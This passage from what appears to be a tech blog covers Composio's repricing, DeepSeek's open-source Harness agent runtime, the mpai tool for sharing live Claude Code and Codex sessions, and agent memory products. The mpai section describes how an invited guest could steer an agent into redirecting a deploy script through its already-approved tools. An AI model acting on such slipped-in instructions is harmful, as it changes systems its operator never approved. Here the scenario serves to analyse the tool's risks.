Klavis AI is narrower still — infrastructure specifically for deploying and managing MCP servers, aimed at the "context window explosion" problem where exposing too many tool definitions to a model degrades its reasoning. It's a bet that MCP-server hosting becomes its own specialized layer rather than a feature bolted onto a broader integration platform.

None of these are drop-in replacements for Composio's catalog size, and none of them have (as far as this research turned up) gone through a comparably public pricing overhaul, so it would be premature to call any of them cheaper in the long run — usage-based pricing that looks generous pre-scale has a way of catching up with everyone eventually. But they represent real architectural alternatives: narrower catalog with stronger identity guarantees (Arcade), integration platform that treats agents as a workflow type rather than a product (Pipedream), or pure MCP-hosting infrastructure you compose yourself (Klavis). None of them make the fundamental problem — that agent-driven call volume is inherently hard to forecast — go away. They just distribute the risk differently.

Practical use cases, and where the new pricing actually bites

For a side project or an internal tool with light usage — a Slack bot that checks a calendar a few times a day, a demo agent a handful of people touch — the free tier's 20,000 calls a month is still generous, and this whole pricing rewrite is background noise.

The pain shows up at production scale, specifically for two shapes of workload. First, customer-facing agent products where usage scales with your own customer growth — support agents, sales-assist tools, anything where more of your users means proportionally more tool calls, and where you don't have a lever to cap volume without degrading the product. Second, multi-agent or agentic-loop architectures, where a single user request can fan out into dozens of tool calls as agents check, verify, and re-check state before acting — exactly the pattern that made the old flat-rate model attractive and now makes the new metered one expensive.

If your agents are mostly doing single, deterministic tool calls per user action (send this email, create this ticket), the new pricing is a real but survivable cost increase. If your agents loop, retry, or coordinate with other agents before converging on an action, the multiplier effect on newly metered dimensions compounds fast, and it's worth actually modeling — not estimating — what your bill looks like under the new rates before September 1.

There's one detail worth calling out for teams that do this modeling: Composio's discounted $3-per-1,000 overage rate (versus the default $4) is only available through its session-based billing path rather than raw per-call billing. That's a meaningful discount — 25% — but it also means the cheaper rate requires restructuring how you route calls through the platform, not just accepting a sticker price. It's the kind of detail that's easy to miss if you're comparing headline numbers between vendors instead of reading the actual billing mechanics, and it's exactly the sort of fine print this whole episode should make you go looking for, with every vendor, not just this one.

Developer experience: what you gain, and what you're now weighing it against

None of the above is an argument that Composio is badly built. The DX case for a platform like this is real: instead of writing and maintaining OAuth flows, token refresh logic, and per-app API clients for a thousand different services, you get a consistent tool-calling interface and someone else's team keeping those integrations working as the underlying APIs change — which they do, constantly, in ways that would otherwise be your problem to track. For a small team trying to ship an agent product fast, that's not a marginal convenience; it's the difference between shipping in weeks versus quarters.

What changed on August 15 isn't that trade-off's existence — it's its price. The calculation "is this convenience worth what I'm paying for it" used to have an easy answer when the convenience cost roughly the same as a database. At $4 per 1,000 calls plus five other metered dimensions, on a volume you don't fully control, that calculation gets a lot harder, and it stops being a decision you make once at adoption time. It becomes a decision you need to keep re-making as your agents' behavior — and Composio's pricing — both keep changing.

Who should adopt, wait, or walk away

Prototyping or low-volume internal tools: proceed without much concern. The free tier and even the entry paid tier absorb light usage fine, and the catalog breadth still makes Composio the fastest path to "agent that can actually do things" for a small team.

Teams already in production on the old pricing: this is the group that needs to act now, not in December. Model your actual worst-case bill under the new rates for every metered dimension, not just tool calls — the premium-tool-billing change on September 1 applies to you regardless of when you signed up. If the number is uncomfortable, start evaluating Arcade or Pipedream in parallel now, while you still have runway under the grandfathered plan, rather than waiting until the grace period ends to discover your options.

Teams choosing a tool-calling layer for a new project today: you're already on the new pricing, so evaluate Composio on its current, real economics — not the numbers still floating around in older blog posts and comparison tables — and weigh that against Arcade's narrower-but-stricter model or a leaner build directly on raw MCP servers if your integration surface is small enough to not need a broad catalog.

Anyone treating a third-party tool-calling layer as a permanent, low-cost abstraction: reconsider that assumption generally, independent of which vendor you use. The unit economics of routing non-deterministic, model-driven call volume through a metered third-party service were always going to get repriced once vendors had real usage data instead of launch-pricing guesses. Composio is simply the vendor where that repricing became visible first and most sharply.

An independent read

There's a reasonable version of this story where Composio did the responsible thing: it priced a new product category too cheaply at launch, gathered real usage data, and corrected course before the business model became unsustainable — better that than the alternative, where a vendor goes under and takes your production integrations with it on no notice at all. Flat per-call pricing was probably always going to undercharge for the sandbox compute and LLM token pass-through that heavier agent workloads actually consume, and reflecting those real costs in the meter is arguably more honest than the old single-number model.

There's an equally reasonable version where the sequencing is the problem: land customers on aggressive intro pricing while agent tooling is still new and switching costs are low, let them build real dependency into their stacks over a year or more, then reprice once leaving is expensive — with a grace period generous enough to look fair on a blog post, but with the highest-margin category (premium tools) exempted from that grace period for everyone. Both of those readings are consistent with the same set of facts, and the honest answer is that intent is unknowable from outside the company. What's not ambiguous is the outcome: a workload that cost $229 a month now plausibly costs $6,000-$8,000, the protection against that has a countdown attached, and part of the increase applies regardless of when you signed up.

The larger lesson generalizes past this one vendor. Any infrastructure layer sitting between an autonomous agent and a metered cost has the same structural exposure: the thing generating the bill isn't fully under your control, and a pricing model built for that layer's growth-stage economics is not guaranteed to survive contact with its at-scale economics. That's true of Composio, and it'll be true of whatever comes after it.

Discussion

If you're running production agent workloads today, how are you actually forecasting tool-call volume — do you have a hard cap on agent loop iterations, a budget alert, or some other mechanism that keeps a misbehaving agent from turning into a five-figure surprise on next month's invoice? And if not, what would it take to add one before your vendor's next repricing announcement?

Sources:

DeepSeek Open-Sourced a Claude Code Rival for Free — Then Raised the Price of the Model It Runs On

Jason Lee — Thu, 20 Aug 2026 00:14:02 +0000

In the same week, DeepSeek shipped two things that don't usually ship together: a pricier flagship model, and a fully open-source agent runtime it's giving away for free. The model is DeepSeek V4-Pro, positioned as the company's new agentic-workload flagship. The runtime is DeepSeek Harness — CLI name dsh — an MIT-licensed agent framework that DeepSeek is pitching as a genuine alternative to Claude Code. Within hours of going public the repo had roughly 33,000 stars. Within two days it had climbed past 95,000. By the time I pulled the live count for this piece, it sat at 167,100 stars and 17,900 forks — a growth curve most infrastructure projects never see in their lifetime, let alone their first 72 hours.

That combination — a free, radically extensible agent harness bundled with a more expensive model to run inside it — is the actual story here, more than either half on its own. Plenty of coverage this week treated Harness as "DeepSeek's Claude Code clone" and V4-Pro as "DeepSeek raises prices, still cheaper than everyone else." Both framings undersell what's happening. Harness isn't a clone of anything architecturally — it's built on a plugin philosophy that most agent CLIs don't attempt. And the pricing move isn't an afterthought; it reads like DeepSeek finally adopting the playbook every open-source infrastructure company eventually reaches for: give away the tooling, meter the compute underneath it.

What Harness actually is

Strip away the "Claude Code rival" framing and Harness is, in its own README's words, the engineering layer that sits between a language model and a working developer environment — planning, tool use, file reads and writes, terminal execution, test feedback. DeepSeek's own shorthand for this is blunt: Agent = Model + Harness. The model reasons; the harness is everything that turns that reasoning into files changing on disk, commands running, and tests passing or failing.

Getting a local instance running is a single command:

npx @deepseek-ai/dsh web

That starts a web UI on http://127.0.0.1:3080. Running from a source checkout instead is git clone, pnpm install, pnpm run build, pnpm dsh web — standard Node.js tooling, nothing exotic. The project is explicit that it's a developer preview: the README warns, in bold, that there will be compatibility-breaking changes. That's worth remembering before anyone puts this in a production pipeline.

The architecture: no privileged core

The part that actually differentiates Harness from most agent CLIs is its foundation: Cordis, a plugin framework whose design comes out of a paper on "spatiotemporal composability." The practical consequence, per Harness's own architecture docs, is that every part of the product is a plugin — the model adapter, the tool registry, the session log, and the agent loop itself. There is no privileged core to patch. You extend dsh by mounting a plugin beside the others, and every registration is a reversible effect that unwinds cleanly when its plugin unloads.

Concretely, a running dsh instance is a plugin tree assembled at boot from ordered layers:

A profile is a named composition (web and headless ship as built-in templates) that lists which bundles it stacks, plus any user-installed plugins and a personal cordis.patch.yml override file.
A bundle is a distributable unit of Cordis config plus the code it mounts. dsh-base is the foundation every profile loads first — model adapters, the tool registry, persistence, sandbox and approval policy, settings, credentials, telemetry. dsh-web-app layers a browser UI on top; dsh-headless swaps that for a one-shot runner with no server at all.
Layers apply in a fixed order — bundles, then the profile's patch file, then a home-level patch, then any --patch overlay passed on the command line — and you can inspect the exact tree your machine boots with dsh --profile web --dump-config. Anything that command prints, you can override.

Underneath the plugin tree is an execution model built from turns and steps. A step is one model request plus whatever tool calls come out of it; a turn is zero or more steps, opening when input is claimed and closing once nothing is owed. The event pipeline for a single step is explicit and documented down to the function-call level: agent/pre-step can rewrite or reject the messages the model is about to see, agent/request and llm/stream handle the actual model call, and each tool invocation runs through tools/pre-execute → tools/execute → tools/post-execute. Several of these — agent/pre-step, agent/request, llm/stream, the tools/* triad — are "waterfall" events, meaning every listener must explicitly call next() to pass control along, so nothing silently swallows a request.

One invariant threads through all of it: model-visible means logged. Anything that reaches a model request must be reconstructable from the durable session-event log, and the runtime asserts this rather than trusting convention. That single rule is what makes session fork, resume, full transcripts, and telemetry all derive from one append-only stream instead of four separate subsystems that can drift out of sync — which matters a lot more for audit and compliance than it sounds like on first read.

The last piece worth calling out is capability seams — a swappable interface with three roles: a Service Definition, a Service Provider, and a Consumer. The docs' example is a good one: filesystem and subprocess providers share one execution world, so pointing them at a remote sandbox moves Bash execution, PTY sessions, and LSP integration all at once, with no separate fork for each. There's also an explicitly experimental, opt-in Agent Teams capability — a durable roster, task board, and mailbox layered over continuable subagents — which is DeepSeek building first-party multi-agent orchestration directly into the harness rather than leaving it to a third-party wrapper.

How this differs from Claude Code and the rest of the field

Claude Code, Cursor, and most commercial agent CLIs expose a plugin or extension API, but the core agent loop itself is closed and shipped as a product. Harness inverts that: the loop is just another plugin, sitting in the same Cordis tree as the tool registry and the model adapter, replaceable without forking the runtime. On the open-source side, projects like Aider and OpenHands have proven the "open agent CLI" category can work, but neither is built around a composition framework this deliberate — Harness's profile/bundle system and --dump-config transparency are closer in spirit to how VS Code's extension host or Emacs treat extensibility than to how most terminal coding agents are built.

DeepSeek is also visibly engineering for a plugin ecosystem, not just accepting one might emerge: the repo asks third-party plugin authors to tag their repos with the dsh-plugin GitHub topic for discoverability, and there's an active Discord alongside GitHub Discussions for support. That's the same bootstrapping move browser extension stores and VS Code's marketplace made early on — make discovery a first-class citizen before the ecosystem exists, so it has somewhere to land once it does. It's already working: a separate community-curated awesome-deepseek-agent list appeared on GitHub within the same launch window, the usual tell that an ecosystem is forming around a release rather than being pushed onto a quiet one.

There's a second-order signal in Cordis itself that's easy to miss. Most agent-CLI vendors write their own bespoke plugin system and call it a day. DeepSeek instead adopted an existing, independently maintained composition framework with its own published design paper, and built Harness as a consumer of it rather than the other way around. That's a real bet: it means Harness's core extensibility model isn't something DeepSeek can unilaterally redesign without also renegotiating with Cordis's own maintainers and existing plugin authors outside the DeepSeek org. Whether that constraint holds up under commercial pressure a year from now is exactly the kind of thing a developer-preview label conveniently defers having to answer today.

Why the pricing matters more than the specs

Here's the part that's easy to skip past: V4-Pro launched with API pricing that came in higher than what DeepSeek watchers expected, based on the company's prior V3 and R1-era positioning as the aggressively cheap alternative to frontier labs. DeepSeek didn't publish granular per-million-token numbers in the sources available for this piece, so treat any specific figure you see elsewhere as something to verify against DeepSeek's own pricing page before you budget against it — but the direction of the move, reported across multiple outlets covering the launch, is consistent: DeepSeek's newest flagship costs more to call than its predecessor did.

Pair that with a harness that's not just open-source but engineered to be maximally extensible for free, and the shape of the strategy gets easier to read. The fastest way to bootstrap a plugin ecosystem around your agent runtime is to make the free layer as powerful as possible and monetize the metered layer underneath it — the same open-core logic that's driven database and cloud-infrastructure business models for a decade, compressed here into a single launch week instead of years of gradual repositioning.

Why developers should actually care

Cost: the harness itself costs nothing to run and is model-agnostic by design — the ctx.llm adapter seam means you're not contractually stuck feeding it DeepSeek's models. But if you do use it with V4-Pro specifically, budget for the fact that DeepSeek's cheap-inference reputation no longer applies to its flagship tier.
Lock-in: genuinely lower than a closed CLI at the model layer — swap the adapter, keep your workflows. Genuinely not lower at the framework layer — building real bundles and plugins means learning Cordis's turn/step vocabulary and waterfall-event conventions, which is its own investment you don't get back if you walk away.
DX: --dump-config giving you the literal boot tree, and a session log that's asserted (not just documented) to contain everything the model ever saw, are real debugging wins over black-box agent products where you're guessing what context actually reached the model.
Security: sandbox and approval-policy are pluggable capability seams rather than hardcoded, which is good architecture — but the docs available don't spell out what the default sandbox actually confines out of the box, and that default is what most teams will actually run.
Maintainability: "no privileged core, effects unwind on unload" is a genuinely nice property for a codebase you expect to keep extending for years, versus agent tools where the plugin API is bolted onto a monolith that the maintainers can still change out from under you.

Practical use cases

Teams building internal developer-platform tooling are the clearest fit: a company that wants an agent CLI wired into its own CI system, its own remote sandbox, and its own model routing (DeepSeek's models, a self-hosted open-weight model, or a mix) gets a documented extension point for every one of those instead of fighting a closed product's API surface. Concretely, the ctx.llm adapter seam means a team could route routine refactors to a cheap self-hosted open-weight model and reserve V4-Pro specifically for the agentic tasks it was tuned for, all inside one bundle, without maintaining two separate CLIs. The remote-sandbox capability seam is a real answer for "I want my coding agent's shell and filesystem access to run somewhere other than the developer's laptop" without forking three separate subsystems to get there. And the experimental Agent Teams primitive is worth a look for anyone currently hand-rolling multi-agent coordination (a shared task board, a mailbox, a roster) on top of a single-agent CLI — DeepSeek is proposing that as a first-party feature instead of a third-party layer, alongside comparable ecosystem efforts like Cline's SDK for building custom agents.

What the launch leaves out

The developer-preview label isn't decoration — "compatibility-breaking changes" is an explicit, bolded warning in the README, and a project growing this fast under that label is going to accumulate a lot of plugins written against an API surface that will move. There's no published benchmark comparing agentic coding performance against Claude Code or Cursor on something like SWE-bench in what's publicly available yet, so "rival" is currently a architecture and licensing claim, not a demonstrated-performance one. The default security posture of the sandbox — what actually gets confined without a team configuring anything — isn't detailed in the docs I could access. And there's no signal yet on whether Harness stays fully free indefinitely or whether a hosted/managed offering eventually gets built and paywalled on top of it, which is the usual next chapter for a project growing at this rate.

Who should try this, who should wait

If you're already building custom internal agent tooling, or you're unhappy with how much of your coding agent's behavior you can't inspect or override, Harness is worth an afternoon right now — the plugin architecture is real, not marketing, and npx @deepseek-ai/dsh web is a low-cost way to find out if the turn/step model fits how your team thinks about agent workflows. If you need production stability today, the project is telling you directly to wait: a developer preview with promised breaking changes is not where you want your CI pipeline depending on a specific plugin API shape. And if you're fully satisfied with Claude Code or Cursor's polish and have no interest in writing your own bundles or tool integrations, the extensibility Harness is selling won't show up in your day-to-day — an infinitely pluggable core only pays for itself once you actually plug something into it.

What's genuinely new this week isn't "another open agent CLI." It's a major model lab treating its agent runtime as a loss leader for the first time this explicitly, with an architecture disciplined enough that the bet might actually work on its own technical merits, independent of whatever DeepSeek charges for the model behind it.

Discussion: if a harness makes every part of itself replaceable — including the model adapter it ships with — does open-sourcing it actually reduce vendor lock-in, or does it just relocate the lock-in from the model layer to the runtime's own composition paradigm? Where would you draw that line before committing your team's agent tooling to it?

Sources:

DeepSeek Harness launches as open source rival to Claude Code, alongside V4-Pro on API with higher prices
DeepSeek Harness (GitHub repository, README and architecture docs)
DeepSeek V4 Pro Launches With Major Agent Upgrades and Open-Source Harness
DeepSeek Harness: Why 95,000 GitHub Stars in 2 Days Matters
Cordis — A Programming Paradigm for Spatiotemporal Composability

Anthropic Solved 'Access My Own Session From Anywhere.' It Took a 17-Star Repo to Solve 'Let My Teammate In.'

Jason Lee — Wed, 19 Aug 2026 12:30:58 +0000

Anthropic spent 2026 building an increasingly elaborate answer to one question: how do you keep working on a Claude Code session when you're not at your laptop anymore? --teleport pulls a cloud session into your terminal. /remote-control exposes a local session to your phone. --cloud spins up a fresh session on Anthropic's infrastructure that survives your laptop closing. It's a genuinely good stack of features, and OpenAI's Codex has been building the equivalent muscle for its own cloud tasks.

All of it solves the same shape of problem: one person, many devices. None of it solves the other shape: one session, many people.

If your cofounder is three hours deep into a Claude Code session tracing a race condition, and you want to jump in and add a turn under your own name — not screen-share, not read a pasted transcript, not take over their laptop — there has been no built-in way to do that. You'd --resume your own copy of the conversation and diverge, or you'd read over their shoulder.

A two-week-old, 17-star open source project called mpai (short for "multiplayer AI") went after exactly that gap. It launched on Product Hunt on August 3, 2026, and it's small enough, and specific enough, that it's worth looking at closely — not because it's about to replace anything, but because it's a clean illustration of a seam nobody big has closed yet.

What mpai actually does

mpai lets a named teammate enter an already-running Codex or Claude Code terminal session from their own machine, type a prompt under their own identity, and have that turn land in the host's real, native session — the same transcript the host would see if they scrolled back locally. Not a copy. Not a mirrored screen. The actual conversation, with a second name now attached to specific turns.

The pitch on the landing page is concrete about what this replaces: no screen sharing, no pasting 40 turns of context into a Slack message so a teammate can catch up, no handing over your unlocked laptop. The host stays the host. The guest's prompt is attributed as theirs in the record, both live and in whatever audit trail exists afterward.

Installation is a single host command (brew install godfaddaai/tap/mpai && mpai start, or the npm equivalent), which walks through naming both people, picking exactly one existing Codex or Claude Code session to share, and printing an invite command. The teammate pastes that command — no account, no global install required on their end, just Node.js 20+. The whole flow is built around Tailscale, so the connection runs over a private mesh network the two machines already trust, rather than through a hosted relay operated by the tool vendor.

How it's built

The architecture is deliberately narrow. mpai describes itself as "a small coordination layer above the agents — not a transcript cloud and not a remote shell." Three design choices do most of the work:

Native session discovery, not terminal mirroring. This is the part that separates mpai from the terminal-sharing tools developers already reach for. tmate, ttyd, upterm, and sshx all solve a genuinely different problem: they broadcast raw terminal bytes — literally the pixels of your shell — to a second viewer, optionally letting them type into the same pseudo-terminal. That's powerful for pair debugging in general, but it means both people are typing into one undifferentiated stream. There's no concept of "whose turn was this," because the tool doesn't know it's looking at an AI agent's conversation — it just sees a terminal. mpai instead hooks into Codex's and Claude Code's own session stores on disk, so a guest's prompt is inserted as a first-class, attributed turn in the agent's actual conversation state, not as keystrokes typed into a shared PTY.

Tailscale as the trust boundary, not a hosted relay. tmate's default mode and sshx both route your session through the vendor's own servers (sshx's README apparently states self-hosting isn't supported at all — you use their relay or you don't use it). mpai pushes that trust decision onto infrastructure you already run: if your team already has a Tailscale network, mpai rides on top of it rather than asking you to trust a new company's backend to see your code. That's a smart, low-effort way for a two-week-old project to inherit a mature security posture instead of building one from scratch.

Explicit, scoped sharing. The host picks exactly one session to expose per invite. Nothing else on the host machine — other sessions, other projects, the filesystem — is reachable through that invite. Roles (viewer vs. participant) are revocable, and the project's own docs describe firm boundaries for what a guest can't do: no arbitrary shell execution, no deletion, no archival, no remote-approving a permission prompt on the host's behalf. A denied tool-use approval stays denied regardless of who's connected.

One mechanical detail worth understanding because it shapes the trust model: invites bind to the first Tailscale identity that uses them. The host doesn't type in Alex's email or issue a password — they generate an invite scoped to one session, hand it to Alex through whatever side channel they already trust (Slack, in person, whatever), and the first Tailscale-authenticated device that redeems it becomes "Alex" for that session, permanently, until the host revokes it. That's a reasonable model for a small trusted team where Tailscale device auth is already the perimeter, but it also means the whole scheme inherits Tailscale's identity guarantees wholesale — mpai isn't adding its own authentication layer on top, it's borrowing one. If your Tailnet's ACLs are loose, mpai's sharing boundary is exactly as loose.

The industry moment this fits into

mpai isn't happening in a vacuum. The same week it was making the rounds, Cursor shipped Origin, a full code-hosting platform built around the idea that a third of pull requests merged through Cursor are now opened by autonomous agents rather than humans — reported as happening days after GitHub absorbed a six-hour outage that took Copilot down with it. GitHub's own answer, Agent HQ, orchestrates third-party agents from inside GitHub's existing surface rather than replacing it. Both are chasing the same underlying shift: agent-produced work is becoming common enough that the surfaces around it — where it's reviewed, hosted, and collaborated on — are being rebuilt with agents as first-class participants, not humans typing at a bot.

mpai is a much smaller, much narrower bet inside that same shift, but it's aimed at a piece the bigger platforms haven't touched: not "where does the agent's output live" but "who else can be present, as themselves, while the agent is still working." Origin and Agent HQ are both about the artifact an agent produces. mpai is about the live conversation that produces it. That's a genuinely different layer, and it's telling that none of the well-funded players have shipped it yet — probably because it's a smaller, harder-to-monetize problem than owning the repo or the review queue, not because it's unimportant.

What changed versus what came before

Before mpai, your realistic options for "let a teammate see and touch my live agent session" were:

Paste the transcript. Loses formatting, loses tool-call context, and by the time you've copied 40 turns into Slack the moment has usually passed.
Screen share. Works, but it's synchronous, it's a Zoom call you have to schedule, and the other person can't actually drive.
Terminal-mirroring tools (tmate/ttyd/upterm/sshx). Get you real-time shared access, but treat the agent session as an opaque terminal, so you lose per-person attribution and the guest is really just typing into the host's raw stdin. If the host is also mid-thought and starts typing, you get keystroke collision, not two named contributors.
Claude Code's own Remote Control / teleport, or Codex cloud tasks. These are excellent for the single-operator case — the same person picking a session back up from a different device — but they're not built for a second identity to join. Remote Control connects your phone to your local session; teleport pulls a cloud session into your terminal. There's no "invite Alex" primitive in either.

mpai's contribution isn't a new capability nobody imagined — pairing on a shared AI session is an obvious thing teams want. It's that nobody had actually shipped the specific, narrow version of it: attributed, native, session-level access control for exactly two named CLI agents, built on infrastructure most engineering orgs already run.

Why this matters even at 17 stars

The instinct is to wave this off as too small to matter. That's fair as a bet on the project's survival, but the gap it's pointing at is real, and worth naming even if mpai itself isn't the tool that ends up filling it.

Attribution is becoming a compliance question, not just a nicety. As more teams let AI agents drive meaningful chunks of a codebase, "who approved this change, and who prompted the agent to make it" is turning into an actual audit requirement, not a curiosity. A terminal-mirroring tool where two people share one undifferentiated keystroke stream can't answer that question. A tool that inserts an attributed turn into the agent's own session state can, at least in principle — mpai keeps an append-only prompt audit trail as one of its stated working features.

The identity boundary is the interesting design decision, not the networking. Plenty of tools move bytes between two terminals. Deciding that a shared AI session needs its own concept of "whose turn is this" — separate from "whose terminal is this" — is a genuinely different modeling choice, and it's the one the big vendors haven't made yet because their products are still organized around a single operator per session.

It's a strong argument for building thin on top of infrastructure people already trust. By outsourcing the hard networking and identity problem to Tailscale instead of running its own relay, a two-person open source alpha gets to make a private-by-default claim that would otherwise require months of security work to earn credibly.

Practical use cases

Handing off a debugging session mid-incident. An on-call engineer three turns into diagnosing a production issue can pull in a second engineer without re-explaining what the agent has already found, and without giving up their terminal.
Reviewing an agent's proposed change live, with the person who prompted it. Instead of reviewing a diff cold, a reviewer can ask the agent follow-up questions inside the same context that produced the change — attributed as their own questions, not the original author's.
Cofounder or small-team pairing where a second IDE, account, or hosted workspace is overkill. Two people, one Tailnet, one shared session — no new tool to standardize on.
Mentoring or onboarding. A senior engineer can watch a junior engineer's live Claude Code session and step in with a clarifying prompt at exactly the point of confusion, then step back out.

A concrete way the trust surface bites

Take the "narrow authority" claims seriously, but also take seriously what they don't cover. Suppose Alex joins Maya's live Claude Code session mid-refactor and, either carelessly or maliciously, sends a prompt like "also update the deploy script to point at this new endpoint" — something outside what Maya actually wanted, but plausible-sounding enough that the agent just does it. mpai's stated boundaries (no shell execution outside the agent's own tool use, no deletion, no delegated approvals) stop Alex from doing damage mpai itself performs, but they do nothing to stop Alex from steering the agent into doing damage through its normal, already-approved tool access. The agent can't tell the difference between "Maya asked for this" and "the named guest Maya invited asked for this" in terms of what it's willing to act on — attribution shows up in the audit log after the fact, not as a gate beforehand. That's not a flaw unique to mpai; it's the same prompt-injection-adjacent reality every multi-operator agent surface has to reckon with once more than one identity can talk to the same tool-using agent. mpai is honest that invites should be reserved for trusted teammates and non-sensitive pilots — the point is that this is a real constraint on the feature's core value, not a footnote.

Independent read

Judged purely as a two-week-old public alpha, mpai is a well-scoped, honestly documented experiment: it picked one narrow, real gap, built the smallest possible thing that closes it, and borrowed a mature trust anchor (Tailscale) instead of trying to invent one. That's a good way to build a v0.4 release, and the project's own "current boundary" section is more candid about limitations than most Product Hunt launches bother to be.

Judged as something to bet team workflow on today, it's clearly too early — 17 stars, a single visible maintainer org, macOS-only, two supported agents, and a "managed Codex mode" that isn't finished yet all point the same direction. The interesting thing isn't whether mpai specifically wins; it's that the gap it identified — attributed, multi-person access to a single live agent session — is real enough that something is going to fill it, and the fact that a two-person open source team got there before Anthropic, OpenAI, or Cursor did says more about how those companies are prioritizing their roadmaps than it does about the difficulty of the problem.

Limitations the launch page undersells

The landing page is unusually candid for a Product Hunt launch — it has an explicit "current boundary" section — but a few things deserve more weight than they get there:

This is a two-week-old project with 17 GitHub stars, three forks, and effectively one visible maintainer (the godfaddaai org). That's not a knock on the engineering; it's a real statement about bus factor and how much you should trust it with anything sensitive today. The project itself says as much — "begin with a non-sensitive pilot" — but it's worth repeating outside the marketing copy.
macOS only, and it needs an existing Tailscale network. If your team hasn't already adopted Tailscale, you're adopting two new pieces of infrastructure to get this, not one. There's no Linux or Windows host support yet, which rules out a large share of engineering teams outright.
Two agents, full stop. Codex and Claude Code are supported; nothing else is, and there's no stated roadmap for Cursor, Gemini CLI, or other agents. Given how fast the agent landscape is moving, a two-agent scope is a real constraint on how many teams this is useful to on day one.
"Managed Codex mode for safe remote prompting" is listed as not yet done, and standalone Codex sessions are view-only for now — so the flashiest capability (a teammate actually prompting into your session) currently leans more heavily on the Claude Code side than the marketing implies.
Letting a second, real person inject prompts into your live agent session is a new kind of trust surface, not just a networking one. The project's "narrow authority" constraints (no shell execution, no deletion, no delegated approvals) are a reasonable first mitigation, but the core exposure — someone else's words landing in your agent's context window, shaping what it does next — is inherent to the feature, not a bug to patch out. That's worth treating as a real access-control decision per teammate, not a checkbox you enable once and forget.
No large-organization certification, and physical sleep/wake handling is explicitly still on the roadmap, which matters for anything beyond a two-person pilot.

Competitive picture

	mpai	tmate / ttyd / upterm / sshx	Claude Code Remote Control / `--teleport`
What's shared	Native agent session state, attributed per person	Raw terminal bytes	Your own session, across your own devices
Multi-person, distinct identities	Yes, by design	Only as raw keystrokes, no attribution	No — single operator
Transport	Your existing Tailnet	Public relay (tmate.io, sshx.io) or self-hosted	Anthropic's cloud infra or your local machine
Audit trail	Append-only prompt log	Session recording (tmate only)	Conversation history
Maturity	Public alpha, 2 weeks old	Years-old, thousands of GitHub stars each	Shipped product from a well-funded vendor
Agent-aware	Yes (Codex, Claude Code)	No — agent-agnostic, just a terminal	Yes, but single-agent, single-operator

The honest read: mpai isn't competing with tmate or sshx, because they're not solving the same problem, and it isn't competing with Claude Code's own remote features either, because Anthropic hasn't built the multiplayer piece. It's occupying a gap between "share my terminal" and "access my own session from another device" that happens to be exactly where a lot of real collaboration friction lives.

Who should try it, wait, or skip it

Try it now if you're a small, macOS-based team already running Tailscale, doing serious pair work on Codex or Claude Code sessions, and comfortable running a public alpha from a two-week-old repo on non-sensitive work. The install is low-cost enough (brew install plus one invite command) that a real trial costs you an afternoon, not a sprint.

Wait if you're on Linux or Windows, don't already have Tailscale in place, or need this to work with any agent besides Codex or Claude Code — none of that is solved today, and there's no committed timeline for it in what's public so far.

Skip it if your work involves anything you wouldn't want a second identity's prompts influencing without a much harder look at the authority model first, or if you need something an enterprise security team can sign off on this quarter. A 17-star public alpha from a single GitHub org is not that, yet, whatever the roadmap says.

The bigger point stands regardless of whether mpai itself sticks around: the AI coding tools with real budgets solved "let me keep working from anywhere." Nobody with a real budget has yet shipped "let someone else into the room." That's a strange gap to still be open in August 2026, and it's exactly the kind of gap a two-person open source project is built to expose, even if it isn't the one that ends up closing it for good.

Have you actually tried getting a teammate into a live Claude Code or Codex session — pasted transcript, screen share, tmate, something homegrown? What broke first: the context loss, the attribution, or the trust model?

Sources:

Mem0, Zep, and Letta All Promise Perfect Recall. None of Them Agree on What to Forget.

Jason Lee — Wed, 19 Aug 2026 12:06:31 +0000

Every agent framework thread eventually arrives at the same complaint: the agent forgot something it was told three turns ago, or worse, it "remembered" something that's no longer true. Context windows solved the short-term version of this problem and created a new one — stuffing an ever-growing transcript into every call is slow, expensive, and eventually just wrong, because old facts get contradicted by new ones and nothing tells the model which to trust.

That's the gap a new category of infrastructure is racing to fill: the agent memory layer. In 2026 the four names that keep coming up in the same breath are Mem0, Zep, Letta (the commercial continuation of the MemGPT research project), and LangMem. They get pitched as interchangeable — "memory for your agent" — and benchmarked against each other on recall accuracy as if they're four flavors of the same product. They aren't. They disagree, architecturally, on a much more consequential question: who decides what the agent forgets, and where does that decision get made?

That framing isn't mine alone — a 2026 systems paper, "Control-Plane Placement Shapes Forgetting", studied thirteen agent-memory configurations specifically to isolate this variable. Retrieval accuracy benchmarks get all the marketing attention because they produce a clean leaderboard number. Forgetting policy is the part vendors don't put on a slide, and it's the part that determines whether your agent is still coherent after ten thousand turns.

Why this is a live decision right now

Three things converged to make this an actual engineering decision instead of a research curiosity. First, agents stopped being single-session chat wrappers — coding agents, support agents, and personal assistants are now expected to persist state across days or weeks, which vector-store-plus-summary hacks handle badly. Second, AWS picked Mem0 as the exclusive memory provider for its Agent SDK, which is the kind of enterprise-distribution signal that forces teams to at least evaluate it even if they'd never heard of it a year ago. Third, the funding is real and recent enough that these aren't side projects anymore: Mem0 closed a $24M Series A in October 2025 (Basis Set Ventures leading, with Peak XV Partners, GitHub Fund, and Y Combinator participating), and Letta raised a $10M seed led by Felicis Ventures at a $70M post-money valuation, with Jeff Dean and Hugging Face's Clem Delangue as backers. Money and distribution deals are why this is a "pick one this quarter" problem rather than a "watch the space" one.

What each one actually is

Mem0: a memory library you bolt onto whatever you already have

Mem0 is the most portable option on this list by design. It doesn't ask you to adopt a runtime or a graph database — it's a memory layer that sits alongside your existing agent stack (LangChain, LlamaIndex, CrewAI, a raw OpenAI/Anthropic call, whatever) and exposes an API to add, search, and update memories. Internally it organizes memory by scope — conversation-level, session-level, user-level, and organization-level — and promotes facts upward between those layers as they're confirmed across interactions. That promotion step is the interesting part: instead of storing every message, Mem0 tries to extract the durable fact ("user prefers dark mode," "user's team uses Postgres") and discard the rest.

It's the framework with the largest community footprint — reported GitHub star counts range from roughly 48,000 up into the 50-60K range depending on when a given source pulled the number, which is itself a signal of how fast the repo is moving. Pricing starts free at 10,000 memories, then steps up through $19, $79, and $249-per-month tiers as memory volume and features (multi-tenant isolation, graph memory add-ons) scale.

Mechanically, the promotion step is doing the heavy lifting and it's also where the risk lives. Turning a raw exchange into a stored "fact" means running an LLM extraction pass over the conversation, embedding the result, and deciding — again, usually via another model call — whether it updates, contradicts, or duplicates something already in the store. That's an extra inference cost on every write, and it means the fidelity of what gets remembered is bounded by how good the extraction prompt is, not just how good the retrieval is at query time. If the extraction step drops nuance (a caveat, a conditional, a "only on Tuesdays"), that nuance is gone from the store even if it was in the original transcript — every write has an extraction-model cost that doesn't show up on the headline pricing.

Zep: memory as a temporal knowledge graph

